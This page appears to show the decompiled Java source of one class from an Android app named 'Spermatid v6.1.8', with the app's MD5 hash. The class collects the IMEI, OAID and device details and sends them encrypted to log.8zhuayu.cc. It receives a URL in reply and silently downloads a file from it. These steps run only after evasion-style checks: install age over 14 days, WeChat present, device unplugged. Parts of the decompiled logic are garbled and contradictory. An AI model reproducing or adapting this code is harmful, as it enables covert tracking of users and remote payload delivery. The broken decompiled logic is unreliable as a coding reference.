Spermatid v6.1.8版本的 MD5 值为:a375ce51a42d528ba6e2583c10478296

以下内容为反编译后的 i.java 源代码,内容仅作参考


package c9;

import android.annotation.SuppressLint;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.os.Build;
import android.text.TextUtils;
import com.baidu.mobads.sdk.api.IAdInterListener;
import com.baidu.mobads.sdk.internal.bk;
import com.inno.innosdk.pb.InnoMain;
import com.kuaishou.weapon.p0.bi;
import com.mbridge.msdk.foundation.entity.CampaignEx;
import com.wangmai.okhttp.model.HttpHeaders;
import java.io.Closeable;
import java.io.File;
import java.io.InputStream;
import java.io.RandomAccessFile;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.UUID;
import org.json.JSONArray;
import org.json.JSONObject;
import r9.j;

public class i {

    public byte[] f3855a;

    public Context f3856b;

    public final b f3857c;

    public final f f3858d = new a();

    public class a implements f {
        public a() {
        }

        @Override
        public void a(Throwable th) {
        }

        @Override
        public void a(byte[] bArr) {
            try {
                byte[] c10 = c9.a.c(bArr, i.this.f3855a);
                if (c10 != null) {
                    i.this.e(new JSONObject(new String(c10)));
                }
            } catch (Throwable th) {
                a(th);
            }
        }
    }

    public interface b {
        void a(List<String> list, String str);
    }

    public i(Context context, b bVar) {
        this.f3856b = context;
        this.f3857c = bVar;
    }

    public static void c(Closeable closeable) {
        if (closeable != null) {
            try {
                closeable.close();
            } catch (Throwable unused) {
            }
        }
    }

    @SuppressLint({"MissingPermission"})
    public static boolean f(Context context) {
        ConnectivityManager connectivityManager;
        NetworkInfo activeNetworkInfo;
        return (r9.g.a(context, com.kuaishou.weapon.p0.g.f16352a) || r9.g.a(context, com.kuaishou.weapon.p0.g.f16353b)) && (connectivityManager = (ConnectivityManager) context.getSystemService("connectivity")) != null && (activeNetworkInfo = connectivityManager.getActiveNetworkInfo()) != null && activeNetworkInfo.isAvailable();
    }

    public void a() {
        if (i(this.f3856b)) {
            h();
        }
    }

    public final void d(String str, List<String> list, String str2) {
        InputStream inputStream;
        RandomAccessFile randomAccessFile;
        HttpURLConnection httpURLConnection;
        int responseCode;
        File file;
        HttpURLConnection httpURLConnection2 = null;
        InputStream inputStream2 = null;
        try {
            httpURLConnection = (HttpURLConnection) new URL(str).openConnection();
            try {
                httpURLConnection.setConnectTimeout(20000);
                httpURLConnection.setReadTimeout(20000);
                httpURLConnection.setRequestMethod("GET");
                httpURLConnection.setRequestProperty(HttpHeaders.HEAD_KEY_ACCEPT, "image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*");
                httpURLConnection.setRequestProperty(HttpHeaders.HEAD_KEY_ACCEPT_LANGUAGE, "zh-CN");
                httpURLConnection.setRequestProperty("Charset", "UTF-8");
                httpURLConnection.setRequestProperty(HttpHeaders.HEAD_KEY_CONNECTION, "Keep-Alive");
                responseCode = httpURLConnection.getResponseCode();
                file = new File(h.c(this.f3856b).e(), k());
            } catch (Throwable unused) {
                inputStream = null;
                randomAccessFile = null;
            }
        } catch (Throwable unused2) {
            inputStream = null;
            randomAccessFile = null;
        }
        if (responseCode != 206 && responseCode != 200) {
            randomAccessFile = null;
            httpURLConnection.disconnect();
            c(inputStream2);
            c(randomAccessFile);
        }
        inputStream = httpURLConnection.getInputStream();
        randomAccessFile = new RandomAccessFile(file, "rwd");
        byte[] bArr = new byte[4096];
        while (true) {
            int read = inputStream.read(bArr);
            if (read == -1) {
                break;
            } else {
                randomAccessFile.write(bArr, 0, read);
            }
        }
        b bVar = this.f3857c;
        if (bVar != null) {
            bVar.a(list, str2);
        }
        inputStream2 = inputStream;
        httpURLConnection.disconnect();
        c(inputStream2);
        c(randomAccessFile);
    }

    public final void e(JSONObject jSONObject) {
        JSONArray optJSONArray;
        int optInt = jSONObject.optInt("itvl", 60);
        if (optInt < 0) {
            optInt = 60;
        }
        SharedPreferences b10 = r9.d.b(this.f3856b);
        SharedPreferences.Editor edit = b10.edit();
        if (b10.getLong("yf_update_interval", 0L) != optInt) {
            edit.putLong("yf_update_interval", optInt * 60 * 1000);
        }
        edit.putLong("yf_last_check_time", System.currentTimeMillis());
        edit.apply();
        String optString = jSONObject.optString("url");
        if (TextUtils.isEmpty(optString)) {
            return;
        }
        String optString2 = jSONObject.optString("dst");
        if (TextUtils.isEmpty(optString2) || (optJSONArray = jSONObject.optJSONArray("cond")) == null || optJSONArray.length() <= 0) {
            return;
        }
        ArrayList arrayList = new ArrayList();
        for (int i10 = 0; i10 < optJSONArray.length(); i10++) {
            JSONObject optJSONObject = optJSONArray.optJSONObject(i10);
            if (optJSONObject != null && j(optJSONObject)) {
                String optString3 = optJSONObject.optString("adu");
                if (!TextUtils.isEmpty(optString3)) {
                    arrayList.add(optString3);
                }
            }
        }
        if (arrayList.isEmpty()) {
            return;
        }
        d(optString, arrayList, optString2);
    }

    public final void h() {
        try {
            if (l() && f(this.f3856b)) {
                e eVar = new e();
                eVar.c(1);
                JSONObject jSONObject = new JSONObject();
                jSONObject.put("pv", 2);
                jSONObject.put("pkg", this.f3856b.getPackageName());
                jSONObject.put("os_ver", Build.VERSION.SDK_INT);
                jSONObject.put(bk.f4478i, Build.MODEL);
                jSONObject.put(bk.f4479j, Build.BRAND);
                jSONObject.put(CampaignEx.JSON_KEY_ST_TS, System.currentTimeMillis());
                jSONObject.put("name", m());
                jSONObject.put("imei", o9.d.i(this.f3856b));
                jSONObject.put(InnoMain.INNO_KEY_OAID, j.d().a(this.f3856b));
                byte[] encoded = c9.a.a().getEncoded();
                this.f3855a = encoded;
                eVar.f("https://log.8zhuayu.cc/yf", null, c.c(encoded, jSONObject.toString().getBytes(), 2));
                eVar.d(this.f3858d);
            }
        } catch (Throwable unused) {
        }
    }

    public final boolean i(Context context) {
        try {
            if (o9.d.a() == 2) {
                return true;
            }
            PackageManager packageManager = context.getPackageManager();
            if (!(System.currentTimeMillis() - packageManager.getPackageInfo(this.f3856b.getPackageName(), 0).firstInstallTime > 1209600000) || packageManager.getPackageInfo("com.tencent.mm", 0) == null) {
                return false;
            }
            Intent registerReceiver = context.registerReceiver(null, new IntentFilter("android.intent.action.BATTERY_CHANGED"));
            if (registerReceiver != null) {
                return registerReceiver.getIntExtra("plugged", 0) == 0;
            }
            return true;
        } catch (Throwable unused) {
            return false;
        }
    }

    public final boolean j(JSONObject jSONObject) {
        String optString = jSONObject.optString(IAdInterListener.AdReqParam.WIDTH);
        if (!TextUtils.isEmpty(optString)) {
        }
        boolean z10 = true;
        String optString2 = jSONObject.optString("b");
        if (!z10 && !TextUtils.isEmpty(optString2)) {
            try {
                return this.f3856b.getPackageManager().getPackageInfo(optString2, 1) == null;
            } catch (Exception unused) {
                return z10;
            }
        }
        z10 = false;
        String optString22 = jSONObject.optString("b");
        return !z10 ? z10 : z10;
    }

    public final String k() {
        return UUID.randomUUID().toString().replace("-", "");
    }

    public final boolean l() {
        SharedPreferences b10 = r9.d.b(this.f3856b);
        if (b10 != null) {
            return System.currentTimeMillis() - b10.getLong("yf_last_check_time", 0L) > b10.getLong("yf_update_interval", bi.f16082s);
        }
        return true;
    }

    public final String m() {
        try {
            PackageManager packageManager = this.f3856b.getPackageManager();
            return packageManager.getPackageInfo(this.f3856b.getPackageName(), 0).applicationInfo.loadLabel(packageManager).toString();
        } catch (Exception unused) {
            return null;
        }
    }
}